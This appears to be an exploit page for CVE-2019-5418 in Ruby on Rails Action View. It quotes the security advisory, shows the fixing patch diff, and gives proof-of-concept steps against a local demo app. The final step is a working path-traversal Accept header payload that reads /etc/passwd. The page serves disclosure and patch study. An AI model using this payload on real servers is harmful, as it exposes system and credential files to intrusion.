## https://sploitus.com/exploit?id=9A2C7492-7042-50E5-96F0-B3E8C301634E
# CVE-2019-5418 - File Content Disclosure on Rails
**EDIT**: this CVE can lead to a Remote Code Execution, more info: https://github.com/mpgn/Rails-doubletap-RCE
> There is a possible file content disclosure vulnerability in Action View.
Specially crafted accept headers in combination with calls to `render file:`
can cause arbitrary files on the target server to be rendered, disclosing the
file contents.
> The impact is limited to calls to `render` which render file contents without
a specified accept format. Impacted code in a controller looks something like
this:
found by [John Hawthorn](https://twitter.com/jhawthorn) from GitHub
**Technical Analysis**:
- https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
**Security Advisory**:
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
Fixed in Action View 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1
```diff
From f4c70c2222180b8d9d924f00af0c7fd632e26715 Mon Sep 17 00:00:00 2001
From: John Hawthorn
Date: Mon, 4 Mar 2019 18:24:51 -0800
Subject: [PATCH] Only accept formats from registered mime types
[CVE-2019-5418]
[CVE-2019-5419]
---
.../lib/action_dispatch/http/mime_negotiation.rb | 5 +++++
actionpack/test/controller/mime/respond_to_test.rb | 10 ++++++----
.../new_base/content_negotiation_test.rb | 14 ++++++++++++--
3 files changed, 23 insertions(+), 6 deletions(-)
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 498b1e669576..4e81ba12a58b 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -79,6 +79,11 @@ def formats
else
[Mime[:html]]
end
+
+ v = v.select do |format|
+ format.symbol || format.ref == "*/*"
+ end
+
set_header k, v
end
end
```
___
### Proof Of Concept
1. Run the vulnerable application inside the demo folder:
```console
foo@bar:~$ cd demo/
foo@bar:~$ bundle install
[...]
foo@bar:~$ rails s 12:59:54
=> Booting Puma
=> Rails 5.2.1 application starting in development
=> Run `rails server -h` for more startup options
Puma starting in single mode...
* Version 3.12.0 (ruby 2.5.1-p57), codename: Llamas in Pajamas
* Min threads: 5, max threads: 5
* Environment: development
* Listening on tcp://0.0.0.0:3000
Use Ctrl-C to stop
Started GET "/" for 127.0.0.1 at 2019-03-16 13:00:00 +0100
Processing by Rails::WelcomeController#index as HTML
Rendering /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb
Rendered /var/lib/gems/2.5.0/gems/railties-5.2.1/lib/rails/templates/rails/welcome/index.html.erb (1.4ms)
Completed 200 OK in 8ms (Views: 2.7ms | ActiveRecord: 0.0ms)
Started GET "/chybeta" for 127.0.0.1 at 2019-03-16 13:00:03 +0100
Processing by ChybetaController#index as HTML
Rendering README.md within layouts/application
Rendered README.md within layouts/application (0.2ms)
Completed 200 OK in 122ms (Views: 121.1ms | ActiveRecord: 0.0ms)
```
2. Go to the route `/chybeta`
3. Intercept with burp the request and replace the `Accept` header with `Accept: ../../../../../../../../../../etc/passwd{{`
